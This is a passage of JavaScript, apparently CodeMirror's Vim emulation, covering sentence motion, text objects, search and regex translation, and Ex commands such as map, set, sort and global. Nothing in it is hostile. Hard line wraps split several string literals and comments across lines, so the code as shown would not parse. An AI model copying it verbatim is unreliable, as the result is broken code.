        Performs one iteration of traversal in reverse direction
        Returns an index object of the new location
       */
      function reverse(cm, ln, pos, dir) {
        var line = cm.getLine(ln);

        var curr = {
          line: line,
          ln: ln,
          pos: pos,
          dir: dir,
        }

        var last_valid = {
          ln: curr.ln,
          pos: null,
        };

        var skip_empty_lines = (curr.line === "");

        // Move one step to skip character we start on
        nextChar(cm, curr);

        while (curr.line !== null) {

          if (curr.line === "" && !skip_empty_lines) {
            if (last_valid.pos !== null) {
              return last_valid;
            }
            else {
              return { ln: curr.ln, pos: curr.pos };
            }
          }
          else if (isEndOfSentenceSymbol(curr.line[curr.pos])
              && last_valid.pos !== null
              && !(curr.ln === last_valid.ln && curr.pos +
1 === last_valid.pos)) {
            return last_valid;
          }
          else if (curr.line !== "" &&
!isWhiteSpaceString(curr.line[curr.pos])) {
            skip_empty_lines = false;
            last_valid = { ln: curr.ln, pos: curr.pos }
          }

          nextChar(cm, curr);
        }

        /*
          Set the position to the first non whitespace character on the
last
          valid line in the case that we reach the beginning of the
document.
        */
        var line = cm.getLine(last_valid.ln);
        last_valid.pos = 0;
        for(var i = 0; i < line.length; ++i) {
          if (!isWhiteSpaceString(line[i])) {
            last_valid.pos = i;
            break;
          }
        }
        return last_valid;
      }

      var curr_index = {
        ln: cur.line,
        pos: cur.ch,
      };

      while (repeat > 0) {
        if (dir < 0) {
          curr_index = reverse(cm, curr_index.ln, curr_index.pos, dir);
        }
        else {
          curr_index = forward(cm, curr_index.ln, curr_index.pos, dir);
        }
        repeat--;
      }

      return Pos(curr_index.ln, curr_index.pos);
    }

    // TODO: perhaps this finagling of start and end positions belonds
    // in codemirror/replaceRange?
    function selectCompanionObject(cm, head, symb, inclusive) {
      var cur = head, start, end;

      var bracketRegexp = ({
        '(': /[()]/, ')': /[()]/,
        '[': /[[\]]/, ']': /[[\]]/,
        '{': /[{}]/, '}': /[{}]/,
        '<': /[<>]/, '>':
/[<>]/})[symb];
      var openSym = ({
        '(': '(', ')': '(',
        '[': '[', ']': '[',
        '{': '{', '}': '{',
        '<': '<', '>':
'<'})[symb];
      var curChar = cm.getLine(cur.line).charAt(cur.ch);
      // Due to the behavior of scanForBracket, we need to add an offset if
the
      // cursor is on a matching open bracket.
      var offset = curChar === openSym ? 1 : 0;

      start = cm.scanForBracket(Pos(cur.line, cur.ch + offset), -1,
undefined, {'bracketRegex': bracketRegexp});
      end = cm.scanForBracket(Pos(cur.line, cur.ch + offset), 1, undefined,
{'bracketRegex': bracketRegexp});

      if (!start || !end) {
        return { start: cur, end: cur };
      }

      start = start.pos;
      end = end.pos;

      if ((start.line == end.line && start.ch > end.ch)
          || (start.line > end.line)) {
        var tmp = start;
        start = end;
        end = tmp;
      }

      if (inclusive) {
        end.ch += 1;
      } else {
        start.ch += 1;
      }

      return { start: start, end: end };
    }

    // Takes in a symbol and a cursor and tries to simulate text objects
that
    // have identical opening and closing symbols
    // TODO support across multiple lines
    function findBeginningAndEnd(cm, head, symb, inclusive) {
      var cur = copyCursor(head);
      var line = cm.getLine(cur.line);
      var chars = line.split('');
      var start, end, i, len;
      var firstIndex = chars.indexOf(symb);

      // the decision tree is to always look backwards for the beginning
first,
      // but if the cursor is in front of the first instance of the symb,
      // then move the cursor forward
      if (cur.ch < firstIndex) {
        cur.ch = firstIndex;
        // Why is this line even here???
        // cm.setCursor(cur.line, firstIndex+1);
      }
      // otherwise if the cursor is currently on the closing symbol
      else if (firstIndex < cur.ch && chars[cur.ch] == symb) {
        end = cur.ch; // assign end to the current cursor
        --cur.ch; // make sure to look backwards
      }

      // if we're currently on the symbol, we've got a start
      if (chars[cur.ch] == symb && !end) {
        start = cur.ch + 1; // assign start to ahead of the cursor
      } else {
        // go backwards to find the start
        for (i = cur.ch; i > -1 && !start; i--) {
          if (chars[i] == symb) {
            start = i + 1;
          }
        }
      }

      // look forwards for the end symbol
      if (start && !end) {
        for (i = start, len = chars.length; i < len && !end;
i++) {
          if (chars[i] == symb) {
            end = i;
          }
        }
      }

      // nothing found
      if (!start || !end) {
        return { start: cur, end: cur };
      }

      // include the symbols
      if (inclusive) {
        --start; ++end;
      }

      return {
        start: Pos(cur.line, start),
        end: Pos(cur.line, end)
      };
    }

    // Search functions
    defineOption('pcre', true, 'boolean');
    function SearchState() {}
    SearchState.prototype = {
      getQuery: function() {
        return vimGlobalState.query;
      },
      setQuery: function(query) {
        vimGlobalState.query = query;
      },
      getOverlay: function() {
        return this.searchOverlay;
      },
      setOverlay: function(overlay) {
        this.searchOverlay = overlay;
      },
      isReversed: function() {
        return vimGlobalState.isReversed;
      },
      setReversed: function(reversed) {
        vimGlobalState.isReversed = reversed;
      },
      getScrollbarAnnotate: function() {
        return this.annotate;
      },
      setScrollbarAnnotate: function(annotate) {
        this.annotate = annotate;
      }
    };
    function getSearchState(cm) {
      var vim = cm.state.vim;
      return vim.searchState_ || (vim.searchState_ = new SearchState());
    }
    function dialog(cm, template, shortText, onClose, options) {
      if (cm.openDialog) {
        cm.openDialog(template, onClose, { bottom: true, value:
options.value,
            onKeyDown: options.onKeyDown, onKeyUp: options.onKeyUp,
            selectValueOnOpen: false});
      }
      else {
        onClose(prompt(shortText, ''));
      }
    }
    function splitBySlash(argString) {
      return splitBySeparator(argString, '/');
    }

    function findUnescapedSlashes(argString) {
      return findUnescapedSeparators(argString, '/');
    }

    function splitBySeparator(argString, separator) {
      var slashes = findUnescapedSeparators(argString, separator) || [];
      if (!slashes.length) return [];
      var tokens = [];
      // in case of strings like foo/bar
      if (slashes[0] !== 0) return;
      for (var i = 0; i < slashes.length; i++) {
        if (typeof slashes[i] == 'number')
          tokens.push(argString.substring(slashes[i] + 1, slashes[i+1]));
      }
      return tokens;
    }

    function findUnescapedSeparators(str, separator) {
      if (!separator)
        separator = '/';

      var escapeNextChar = false;
      var slashes = [];
      for (var i = 0; i < str.length; i++) {
        var c = str.charAt(i);
        if (!escapeNextChar && c == separator) {
          slashes.push(i);
        }
        escapeNextChar = !escapeNextChar && (c == '\\');
      }
      return slashes;
    }

    // Translates a search string from ex (vim) syntax into javascript
form.
    function translateRegex(str) {
      // When these match, add a '\' if unescaped or remove one
if escaped.
      var specials = '|(){';
      // Remove, but never add, a '\' for these.
      var unescape = '}';
      var escapeNextChar = false;
      var out = [];
      for (var i = -1; i < str.length; i++) {
        var c = str.charAt(i) || '';
        var n = str.charAt(i+1) || '';
        var specialComesNext = (n && specials.indexOf(n) != -1);
        if (escapeNextChar) {
          if (c !== '\\' || !specialComesNext) {
            out.push(c);
          }
          escapeNextChar = false;
        } else {
          if (c === '\\') {
            escapeNextChar = true;
            // Treat the unescape list as special for removing, but not
adding '\'.
            if (n && unescape.indexOf(n) != -1) {
              specialComesNext = true;
            }
            // Not passing this test means removing a '\'.
            if (!specialComesNext || n === '\\') {
              out.push(c);
            }
          } else {
            out.push(c);
            if (specialComesNext && n !== '\\') {
              out.push('\\');
            }
          }
        }
      }
      return out.join('');
    }

    // Translates the replace part of a search and replace from ex (vim)
syntax into
    // javascript form.  Similar to translateRegex, but additionally fixes
back references
    // (translates '\[0..9]' to '$[0..9]') and follows
different rules for escaping '$'.
    var charUnescapes = {'\\n': '\n', '\\r':
'\r', '\\t': '\t'};
    function translateRegexReplace(str) {
      var escapeNextChar = false;
      var out = [];
      for (var i = -1; i < str.length; i++) {
        var c = str.charAt(i) || '';
        var n = str.charAt(i+1) || '';
        if (charUnescapes[c + n]) {
          out.push(charUnescapes[c+n]);
          i++;
        } else if (escapeNextChar) {
          // At any point in the loop, escapeNextChar is true if the
previous
          // character was a '\' and was not escaped.
          out.push(c);
          escapeNextChar = false;
        } else {
          if (c === '\\') {
            escapeNextChar = true;
            if ((isNumber(n) || n === '$')) {
              out.push('$');
            } else if (n !== '/' && n !== '\\')
{
              out.push('\\');
            }
          } else {
            if (c === '$') {
              out.push('$');
            }
            out.push(c);
            if (n === '/') {
              out.push('\\');
            }
          }
        }
      }
      return out.join('');
    }

    // Unescape \ and / in the replace part, for PCRE mode.
    var unescapes = {'\\/': '/', '\\\\':
'\\', '\\n': '\n', '\\r':
'\r', '\\t': '\t',
'\\&':'&'};
    function unescapeRegexReplace(str) {
      var stream = new CodeMirror.StringStream(str);
      var output = [];
      while (!stream.eol()) {
        // Search for \.
        while (stream.peek() && stream.peek() != '\\') {
          output.push(stream.next());
        }
        var matched = false;
        for (var matcher in unescapes) {
          if (stream.match(matcher, true)) {
            matched = true;
            output.push(unescapes[matcher]);
            break;
          }
        }
        if (!matched) {
          // Don't change anything
          output.push(stream.next());
        }
      }
      return output.join('');
    }

    /**
     * Extract the regular expression from the query and return a Regexp
object.
     * Returns null if the query is blank.
     * If ignoreCase is passed in, the Regexp object will have the
'i' flag set.
     * If smartCase is passed in, and the query contains upper case
letters,
     *   then ignoreCase is overridden, and the 'i' flag will not
be set.
     * If the query contains the /i in the flag part of the regular
expression,
     *   then both ignoreCase and smartCase are ignored, and 'i'
will be passed
     *   through to the Regex object.
     */
    function parseQuery(query, ignoreCase, smartCase) {
      // First update the last search register
      var lastSearchRegister =
vimGlobalState.registerController.getRegister('/');
      lastSearchRegister.setText(query);
      // Check if the query is already a regex.
      if (query instanceof RegExp) { return query; }
      // First try to extract regex + flags from the input. If no flags
found,
      // extract just the regex. IE does not accept flags directly defined
in
      // the regex string in the form /regex/flags
      var slashes = findUnescapedSlashes(query);
      var regexPart;
      var forceIgnoreCase;
      if (!slashes.length) {
        // Query looks like 'regexp'
        regexPart = query;
      } else {
        // Query looks like 'regexp/...'
        regexPart = query.substring(0, slashes[0]);
        var flagsPart = query.substring(slashes[0]);
        forceIgnoreCase = (flagsPart.indexOf('i') != -1);
      }
      if (!regexPart) {
        return null;
      }
      if (!getOption('pcre')) {
        regexPart = translateRegex(regexPart);
      }
      if (smartCase) {
        ignoreCase = (/^[^A-Z]*$/).test(regexPart);
      }
      var regexp = new RegExp(regexPart,
          (ignoreCase || forceIgnoreCase) ? 'i' : undefined);
      return regexp;
    }
    function showConfirm(cm, text) {
      if (cm.openNotification) {
        cm.openNotification('<span style="color:
red">' + text + '</span>',
                            {bottom: true, duration: 5000});
      } else {
        alert(text);
      }
    }
    function makePrompt(prefix, desc) {
      var raw = '<span style="font-family: monospace;
white-space: pre">' +
          (prefix || "") + '<input type="text"
autocorrect="off" ' +
          'autocapitalize="off"
spellcheck="false"></span>';
      if (desc)
        raw += ' <span style="color: #888">' +
desc + '</span>';
      return raw;
    }
    var searchPromptDesc = '(Javascript regexp)';
    function showPrompt(cm, options) {
      var shortText = (options.prefix || '') + ' ' +
(options.desc || '');
      var prompt = makePrompt(options.prefix, options.desc);
      dialog(cm, prompt, shortText, options.onClose, options);
    }
    function regexEqual(r1, r2) {
      if (r1 instanceof RegExp && r2 instanceof RegExp) {
          var props = ['global', 'multiline',
'ignoreCase', 'source'];
          for (var i = 0; i < props.length; i++) {
              var prop = props[i];
              if (r1[prop] !== r2[prop]) {
                  return false;
              }
          }
          return true;
      }
      return false;
    }
    // Returns true if the query is valid.
    function updateSearchQuery(cm, rawQuery, ignoreCase, smartCase) {
      if (!rawQuery) {
        return;
      }
      var state = getSearchState(cm);
      var query = parseQuery(rawQuery, !!ignoreCase, !!smartCase);
      if (!query) {
        return;
      }
      highlightSearchMatches(cm, query);
      if (regexEqual(query, state.getQuery())) {
        return query;
      }
      state.setQuery(query);
      return query;
    }
    function searchOverlay(query) {
      if (query.source.charAt(0) == '^') {
        var matchSol = true;
      }
      return {
        token: function(stream) {
          if (matchSol && !stream.sol()) {
            stream.skipToEnd();
            return;
          }
          var match = stream.match(query, false);
          if (match) {
            if (match[0].length == 0) {
              // Matched empty string, skip to next.
              stream.next();
              return 'searching';
            }
            if (!stream.sol()) {
              // Backtrack 1 to match \b
              stream.backUp(1);
              if (!query.exec(stream.next() + match[0])) {
                stream.next();
                return null;
              }
            }
            stream.match(query);
            return 'searching';
          }
          while (!stream.eol()) {
            stream.next();
            if (stream.match(query, false)) break;
          }
        },
        query: query
      };
    }
    var highlightTimeout = 0;
    function highlightSearchMatches(cm, query) {
      clearTimeout(highlightTimeout);
      highlightTimeout = setTimeout(function() {
        var searchState = getSearchState(cm);
        var overlay = searchState.getOverlay();
        if (!overlay || query != overlay.query) {
          if (overlay) {
            cm.removeOverlay(overlay);
          }
          overlay = searchOverlay(query);
          cm.addOverlay(overlay);
          if (cm.showMatchesOnScrollbar) {
            if (searchState.getScrollbarAnnotate()) {
              searchState.getScrollbarAnnotate().clear();
            }
           
searchState.setScrollbarAnnotate(cm.showMatchesOnScrollbar(query));
          }
          searchState.setOverlay(overlay);
        }
      }, 50);
    }
    function findNext(cm, prev, query, repeat) {
      if (repeat === undefined) { repeat = 1; }
      return cm.operation(function() {
        var pos = cm.getCursor();
        var cursor = cm.getSearchCursor(query, pos);
        for (var i = 0; i < repeat; i++) {
          var found = cursor.find(prev);
          if (i == 0 && found && cursorEqual(cursor.from(),
pos)) { found = cursor.find(prev); }
          if (!found) {
            // SearchCursor may have returned null because it hit EOF, wrap
            // around and try again.
            cursor = cm.getSearchCursor(query,
                (prev) ? Pos(cm.lastLine()) : Pos(cm.firstLine(), 0) );
            if (!cursor.find(prev)) {
              return;
            }
          }
        }
        return cursor.from();
      });
    }
    function clearSearchHighlight(cm) {
      var state = getSearchState(cm);
      cm.removeOverlay(getSearchState(cm).getOverlay());
      state.setOverlay(null);
      if (state.getScrollbarAnnotate()) {
        state.getScrollbarAnnotate().clear();
        state.setScrollbarAnnotate(null);
      }
    }
    /**
     * Check if pos is in the specified range, INCLUSIVE.
     * Range can be specified with 1 or 2 arguments.
     * If the first range argument is an array, treat it as an array of
line
     * numbers. Match pos against any of the lines.
     * If the first range argument is a number,
     *   if there is only 1 range argument, check if pos has the same line
     *       number
     *   if there are 2 range arguments, then check if pos is in between
the two
     *       range arguments.
     */
    function isInRange(pos, start, end) {
      if (typeof pos != 'number') {
        // Assume it is a cursor position. Get the line number.
        pos = pos.line;
      }
      if (start instanceof Array) {
        return inArray(pos, start);
      } else {
        if (end) {
          return (pos >= start && pos <= end);
        } else {
          return pos == start;
        }
      }
    }
    function getUserVisibleLines(cm) {
      var scrollInfo = cm.getScrollInfo();
      var occludeToleranceTop = 6;
      var occludeToleranceBottom = 10;
      var from = cm.coordsChar({left:0, top: occludeToleranceTop +
scrollInfo.top}, 'local');
      var bottomY = scrollInfo.clientHeight - occludeToleranceBottom +
scrollInfo.top;
      var to = cm.coordsChar({left:0, top: bottomY}, 'local');
      return {top: from.line, bottom: to.line};
    }

    function getMarkPos(cm, vim, markName) {
      if (markName == '\'' || markName == '`') {
        return vimGlobalState.jumpList.find(cm, -1) || Pos(0, 0);
      } else if (markName == '.') {
        return getLastEditPos(cm);
      }

      var mark = vim.marks[markName];
      return mark && mark.find();
    }

    function getLastEditPos(cm) {
      var done = cm.doc.history.done;
      for (var i = done.length; i--;) {
        if (done[i].changes) {
          return copyCursor(done[i].changes[0].to);
        }
      }
    }

    var ExCommandDispatcher = function() {
      this.buildCommandMap_();
    };
    ExCommandDispatcher.prototype = {
      processCommand: function(cm, input, opt_params) {
        var that = this;
        cm.operation(function () {
          cm.curOp.isVimOp = true;
          that._processCommand(cm, input, opt_params);
        });
      },
      _processCommand: function(cm, input, opt_params) {
        var vim = cm.state.vim;
        var commandHistoryRegister =
vimGlobalState.registerController.getRegister(':');
        var previousCommand = commandHistoryRegister.toString();
        if (vim.visualMode) {
          exitVisualMode(cm);
        }
        var inputStream = new CodeMirror.StringStream(input);
        // update ": with the latest command whether valid or invalid
        commandHistoryRegister.setText(input);
        var params = opt_params || {};
        params.input = input;
        try {
          this.parseInput_(cm, inputStream, params);
        } catch(e) {
          showConfirm(cm, e);
          throw e;
        }
        var command;
        var commandName;
        if (!params.commandName) {
          // If only a line range is defined, move to the line.
          if (params.line !== undefined) {
            commandName = 'move';
          }
        } else {
          command = this.matchCommand_(params.commandName);
          if (command) {
            commandName = command.name;
            if (command.excludeFromCommandHistory) {
              commandHistoryRegister.setText(previousCommand);
            }
            this.parseCommandArgs_(inputStream, params, command);
            if (command.type == 'exToKey') {
              // Handle Ex to Key mapping.
              for (var i = 0; i < command.toKeys.length; i++) {
                CodeMirror.Vim.handleKey(cm, command.toKeys[i],
'mapping');
              }
              return;
            } else if (command.type == 'exToEx') {
              // Handle Ex to Ex mapping.
              this.processCommand(cm, command.toInput);
              return;
            }
          }
        }
        if (!commandName) {
          showConfirm(cm, 'Not an editor command ":' + input
+ '"');
          return;
        }
        try {
          exCommands[commandName](cm, params);
          // Possibly asynchronous commands (e.g. substitute, which might
have a
          // user confirmation), are responsible for calling the callback
when
          // done. All others have it taken care of for them here.
          if ((!command || !command.possiblyAsync) &&
params.callback) {
            params.callback();
          }
        } catch(e) {
          showConfirm(cm, e);
          throw e;
        }
      },
      parseInput_: function(cm, inputStream, result) {
        inputStream.eatWhile(':');
        // Parse range.
        if (inputStream.eat('%')) {
          result.line = cm.firstLine();
          result.lineEnd = cm.lastLine();
        } else {
          result.line = this.parseLineSpec_(cm, inputStream);
          if (result.line !== undefined &&
inputStream.eat(',')) {
            result.lineEnd = this.parseLineSpec_(cm, inputStream);
          }
        }

        // Parse command name.
        var commandMatch =
inputStream.match(/^(\w+|!!|@@|[!#&*<=>@~])/);
        if (commandMatch) {
          result.commandName = commandMatch[1];
        } else {
          result.commandName = inputStream.match(/.*/)[0];
        }

        return result;
      },
      parseLineSpec_: function(cm, inputStream) {
        var numberMatch = inputStream.match(/^(\d+)/);
        if (numberMatch) {
          // Absolute line number plus offset (N+M or N-M) is probably a
typo,
          // not something the user actually wanted. (NB: vim does allow
this.)
          return parseInt(numberMatch[1], 10) - 1;
        }
        switch (inputStream.next()) {
          case '.':
            return this.parseLineSpecOffset_(inputStream,
cm.getCursor().line);
          case '$':
            return this.parseLineSpecOffset_(inputStream, cm.lastLine());
          case '\'':
            var markName = inputStream.next();
            var markPos = getMarkPos(cm, cm.state.vim, markName);
            if (!markPos) throw new Error('Mark not set');
            return this.parseLineSpecOffset_(inputStream, markPos.line);
          case '-':
          case '+':
            inputStream.backUp(1);
            // Offset is relative to current line if not otherwise
specified.
            return this.parseLineSpecOffset_(inputStream,
cm.getCursor().line);
          default:
            inputStream.backUp(1);
            return undefined;
        }
      },
      parseLineSpecOffset_: function(inputStream, line) {
        var offsetMatch = inputStream.match(/^([+-])?(\d+)/);
        if (offsetMatch) {
          var offset = parseInt(offsetMatch[2], 10);
          if (offsetMatch[1] == "-") {
            line -= offset;
          } else {
            line += offset;
          }
        }
        return line;
      },
      parseCommandArgs_: function(inputStream, params, command) {
        if (inputStream.eol()) {
          return;
        }
        params.argString = inputStream.match(/.*/)[0];
        // Parse command-line arguments
        var delim = command.argDelimiter || /\s+/;
        var args = trim(params.argString).split(delim);
        if (args.length && args[0]) {
          params.args = args;
        }
      },
      matchCommand_: function(commandName) {
        // Return the command in the command map that matches the shortest
        // prefix of the passed in command name. The match is guaranteed to
be
        // unambiguous if the defaultExCommandMap's shortNames are set
up
        // correctly. (see @code{defaultExCommandMap}).
        for (var i = commandName.length; i > 0; i--) {
          var prefix = commandName.substring(0, i);
          if (this.commandMap_[prefix]) {
            var command = this.commandMap_[prefix];
            if (command.name.indexOf(commandName) === 0) {
              return command;
            }
          }
        }
        return null;
      },
      buildCommandMap_: function() {
        this.commandMap_ = {};
        for (var i = 0; i < defaultExCommandMap.length; i++) {
          var command = defaultExCommandMap[i];
          var key = command.shortName || command.name;
          this.commandMap_[key] = command;
        }
      },
      map: function(lhs, rhs, ctx) {
        if (lhs != ':' && lhs.charAt(0) == ':')
{
          if (ctx) { throw Error('Mode not supported for ex
mappings'); }
          var commandName = lhs.substring(1);
          if (rhs != ':' && rhs.charAt(0) ==
':') {
            // Ex to Ex mapping
            this.commandMap_[commandName] = {
              name: commandName,
              type: 'exToEx',
              toInput: rhs.substring(1),
              user: true
            };
          } else {
            // Ex to key mapping
            this.commandMap_[commandName] = {
              name: commandName,
              type: 'exToKey',
              toKeys: rhs,
              user: true
            };
          }
        } else {
          if (rhs != ':' && rhs.charAt(0) ==
':') {
            // Key to Ex mapping.
            var mapping = {
              keys: lhs,
              type: 'keyToEx',
              exArgs: { input: rhs.substring(1) }
            };
            if (ctx) { mapping.context = ctx; }
            defaultKeymap.unshift(mapping);
          } else {
            // Key to key mapping
            var mapping = {
              keys: lhs,
              type: 'keyToKey',
              toKeys: rhs
            };
            if (ctx) { mapping.context = ctx; }
            defaultKeymap.unshift(mapping);
          }
        }
      },
      unmap: function(lhs, ctx) {
        if (lhs != ':' && lhs.charAt(0) == ':')
{
          // Ex to Ex or Ex to key mapping
          if (ctx) { throw Error('Mode not supported for ex
mappings'); }
          var commandName = lhs.substring(1);
          if (this.commandMap_[commandName] &&
this.commandMap_[commandName].user) {
            delete this.commandMap_[commandName];
            return;
          }
        } else {
          // Key to Ex or key to key mapping
          var keys = lhs;
          for (var i = 0; i < defaultKeymap.length; i++) {
            if (keys == defaultKeymap[i].keys
                && defaultKeymap[i].context === ctx) {
              defaultKeymap.splice(i, 1);
              return;
            }
          }
        }
        throw Error('No such mapping.');
      }
    };

    var exCommands = {
      colorscheme: function(cm, params) {
        if (!params.args || params.args.length < 1) {
          showConfirm(cm, cm.getOption('theme'));
          return;
        }
        cm.setOption('theme', params.args[0]);
      },
      map: function(cm, params, ctx) {
        var mapArgs = params.args;
        if (!mapArgs || mapArgs.length < 2) {
          if (cm) {
            showConfirm(cm, 'Invalid mapping: ' + params.input);
          }
          return;
        }
        exCommandDispatcher.map(mapArgs[0], mapArgs[1], ctx);
      },
      imap: function(cm, params) { this.map(cm, params,
'insert'); },
      nmap: function(cm, params) { this.map(cm, params,
'normal'); },
      vmap: function(cm, params) { this.map(cm, params,
'visual'); },
      unmap: function(cm, params, ctx) {
        var mapArgs = params.args;
        if (!mapArgs || mapArgs.length < 1) {
          if (cm) {
            showConfirm(cm, 'No such mapping: ' + params.input);
          }
          return;
        }
        exCommandDispatcher.unmap(mapArgs[0], ctx);
      },
      move: function(cm, params) {
        commandDispatcher.processCommand(cm, cm.state.vim, {
            type: 'motion',
            motion: 'moveToLineOrEdgeOfDocument',
            motionArgs: { forward: false, explicitRepeat: true,
              linewise: true },
            repeatOverride: params.line+1});
      },
      set: function(cm, params) {
        var setArgs = params.args;
        // Options passed through to the setOption/getOption calls. May be
passed in by the
        // local/global versions of the set command
        var setCfg = params.setCfg || {};
        if (!setArgs || setArgs.length < 1) {
          if (cm) {
            showConfirm(cm, 'Invalid mapping: ' + params.input);
          }
          return;
        }
        var expr = setArgs[0].split('=');
        var optionName = expr[0];
        var value = expr[1];
        var forceGet = false;

        if (optionName.charAt(optionName.length - 1) == '?') {
          // If post-fixed with ?, then the set is actually a get.
          if (value) { throw Error('Trailing characters: ' +
params.argString); }
          optionName = optionName.substring(0, optionName.length - 1);
          forceGet = true;
        }
        if (value === undefined && optionName.substring(0, 2) ==
'no') {
          // To set boolean options to false, the option name is prefixed
with
          // 'no'.
          optionName = optionName.substring(2);
          value = false;
        }

        var optionIsBoolean = options[optionName] &&
options[optionName].type == 'boolean';
        if (optionIsBoolean && value == undefined) {
          // Calling set with a boolean option sets it to true.
          value = true;
        }
        // If no value is provided, then we assume this is a get.
        if (!optionIsBoolean && value === undefined || forceGet) {
          var oldValue = getOption(optionName, cm, setCfg);
          if (oldValue instanceof Error) {
            showConfirm(cm, oldValue.message);
          } else if (oldValue === true || oldValue === false) {
            showConfirm(cm, ' ' + (oldValue ? '' :
'no') + optionName);
          } else {
            showConfirm(cm, '  ' + optionName + '=' +
oldValue);
          }
        } else {
          var setOptionReturn = setOption(optionName, value, cm, setCfg);
          if (setOptionReturn instanceof Error) {
            showConfirm(cm, setOptionReturn.message);
          }
        }
      },
      setlocal: function (cm, params) {
        // setCfg is passed through to setOption
        params.setCfg = {scope: 'local'};
        this.set(cm, params);
      },
      setglobal: function (cm, params) {
        // setCfg is passed through to setOption
        params.setCfg = {scope: 'global'};
        this.set(cm, params);
      },
      registers: function(cm, params) {
        var regArgs = params.args;
        var registers = vimGlobalState.registerController.registers;
        var regInfo =
'----------Registers----------<br><br>';
        if (!regArgs) {
          for (var registerName in registers) {
            var text = registers[registerName].toString();
            if (text.length) {
              regInfo += '"' + registerName + '   
' + text + '<br>';
            }
          }
        } else {
          var registerName;
          regArgs = regArgs.join('');
          for (var i = 0; i < regArgs.length; i++) {
            registerName = regArgs.charAt(i);
            if
(!vimGlobalState.registerController.isValidRegister(registerName)) {
              continue;
            }
            var register = registers[registerName] || new Register();
            regInfo += '"' + registerName + '    '
+ register.toString() + '<br>';
          }
        }
        showConfirm(cm, regInfo);
      },
      sort: function(cm, params) {
        var reverse, ignoreCase, unique, number, pattern;
        function parseArgs() {
          if (params.argString) {
            var args = new CodeMirror.StringStream(params.argString);
            if (args.eat('!')) { reverse = true; }
            if (args.eol()) { return; }
            if (!args.eatSpace()) { return 'Invalid arguments'; }
            var opts = args.match(/([dinuox]+)?\s*(\/.+\/)?\s*/);
            if (!opts && !args.eol()) { return 'Invalid
arguments'; }
            if (opts[1]) {
              ignoreCase = opts[1].indexOf('i') != -1;
              unique = opts[1].indexOf('u') != -1;
              var decimal = opts[1].indexOf('d') != -1 ||
opts[1].indexOf('n') != -1 && 1;
              var hex = opts[1].indexOf('x') != -1 && 1;
              var octal = opts[1].indexOf('o') != -1 &&
1;
              if (decimal + hex + octal > 1) { return 'Invalid
arguments'; }
              number = decimal && 'decimal' || hex
&& 'hex' || octal && 'octal';
            }
            if (opts[2]) {
              pattern = new RegExp(opts[2].substr(1, opts[2].length - 2),
ignoreCase ? 'i' : '');
            }
          }
        }
        var err = parseArgs();
        if (err) {
          showConfirm(cm, err + ': ' + params.argString);
          return;
        }
        var lineStart = params.line || cm.firstLine();
        var lineEnd = params.lineEnd || params.line || cm.lastLine();
        if (lineStart == lineEnd) { return; }
        var curStart = Pos(lineStart, 0);
        var curEnd = Pos(lineEnd, lineLength(cm, lineEnd));
        var text = cm.getRange(curStart, curEnd).split('\n');
        var numberRegex = pattern ? pattern :
           (number == 'decimal') ? /(-?)([\d]+)/ :
           (number == 'hex') ? /(-?)(?:0x)?([0-9a-f]+)/i :
           (number == 'octal') ? /([0-7]+)/ : null;
        var radix = (number == 'decimal') ? 10 : (number ==
'hex') ? 16 : (number == 'octal') ? 8 : null;
        var numPart = [], textPart = [];
        if (number || pattern) {
          for (var i = 0; i < text.length; i++) {
            var matchPart = pattern ? text[i].match(pattern) : null;
            if (matchPart && matchPart[0] != '') {
              numPart.push(matchPart);
            } else if (!pattern && numberRegex.exec(text[i])) {
              numPart.push(text[i]);
            } else {
              textPart.push(text[i]);
            }
          }
        } else {
          textPart = text;
        }
        function compareFn(a, b) {
          if (reverse) { var tmp; tmp = a; a = b; b = tmp; }
          if (ignoreCase) { a = a.toLowerCase(); b = b.toLowerCase(); }
          var anum = number && numberRegex.exec(a);
          var bnum = number && numberRegex.exec(b);
          if (!anum) { return a < b ? -1 : 1; }
          anum = parseInt((anum[1] + anum[2]).toLowerCase(), radix);
          bnum = parseInt((bnum[1] + bnum[2]).toLowerCase(), radix);
          return anum - bnum;
        }
        function comparePatternFn(a, b) {
          if (reverse) { var tmp; tmp = a; a = b; b = tmp; }
          if (ignoreCase) { a[0] = a[0].toLowerCase(); b[0] =
b[0].toLowerCase(); }
          return (a[0] < b[0]) ? -1 : 1;
        }
        numPart.sort(pattern ? comparePatternFn : compareFn);
        if (pattern) {
          for (var i = 0; i < numPart.length; i++) {
            numPart[i] = numPart[i].input;
          }
        } else if (!number) { textPart.sort(compareFn); }
        text = (!reverse) ? textPart.concat(numPart) :
numPart.concat(textPart);
        if (unique) { // Remove duplicate lines
          var textOld = text;
          var lastLine;
          text = [];
          for (var i = 0; i < textOld.length; i++) {
            if (textOld[i] != lastLine) {
              text.push(textOld[i]);
            }
            lastLine = textOld[i];
          }
        }
        cm.replaceRange(text.join('\n'), curStart, curEnd);
      },
      global: function(cm, params) {
        // a global command is of the form
        // :[range]g/pattern/[cmd]
        // argString holds the string /pattern/[cmd]
        var argString = params.argString;
        if (!argString) {
          showConfirm(cm, 'Regular Expression missing from
global');
          return;
        }
        // range is specified here
        var lineStart = (params.line !== undefined) ? params.line :
cm.firstLine();
        var lineEnd = params.lineEnd || params.line || cm.lastLine();
        // get the tokens from argString
        var tokens = splitBySlash(argString);
        var regexPart = argString, cmd;
        if (tokens.length) {
          regexPart = tokens[0];
          cmd = tokens.slice(1, tokens.length).join('/');
        }
        if (regexPart) {
          // If regex part is empty, then use the previous query. Otherwise
          // use the regex part as the new query.
          try {
           updateSearchQuery(cm, regexPart, true /** ignoreCase */,
             true /** smartCase */);
          } catch (e) {
           showConfirm(cm, 'Invalid regex: ' + regexPart);
           return;
          }
        }
        // now that we have the regexPart, search for regex matches in the
        // specified range of lines
        var query = getSearchState(cm).getQuery();
        var matchedLines = [], content = '';
        for (var i = lineStart; i <= lineEnd; i++) {
          var matched = query.test(cm.getLine(i));
          if (matched) {
            matchedLines.push(i+1);
            content+= cm.getLine(i) + '<br>';
          }
        }
        // if there is no [cmd], just display the list of matched lines
        if (!cmd) {
          showConfirm(cm, content);
          return;
        }
        var index = 0;
        var nextCommand = function() {
          if (index < matchedLines.length) {
            var command = matchedLines[index] + cmd;
            exCommandDispatcher.processCommand(cm, command, {
              callback: nextCommand
            });
          }
          index++;
        };
        nextCommand();
      },
      substitute: function(cm, params) {
        if (!cm.getSearchCursor) {
          throw new Error('Search feature not available. Requires
searchcursor.js or ' +
              'any other getSearchCursor implementation.');
        }
        var argString = params.argString;
        var tokens = argString ? splitBySeparator(argString, argString[0])
: [];
        var regexPart, replacePart = '', trailing, flagsPart,
count;
        var confirm = false; // Whether to confirm each replace.
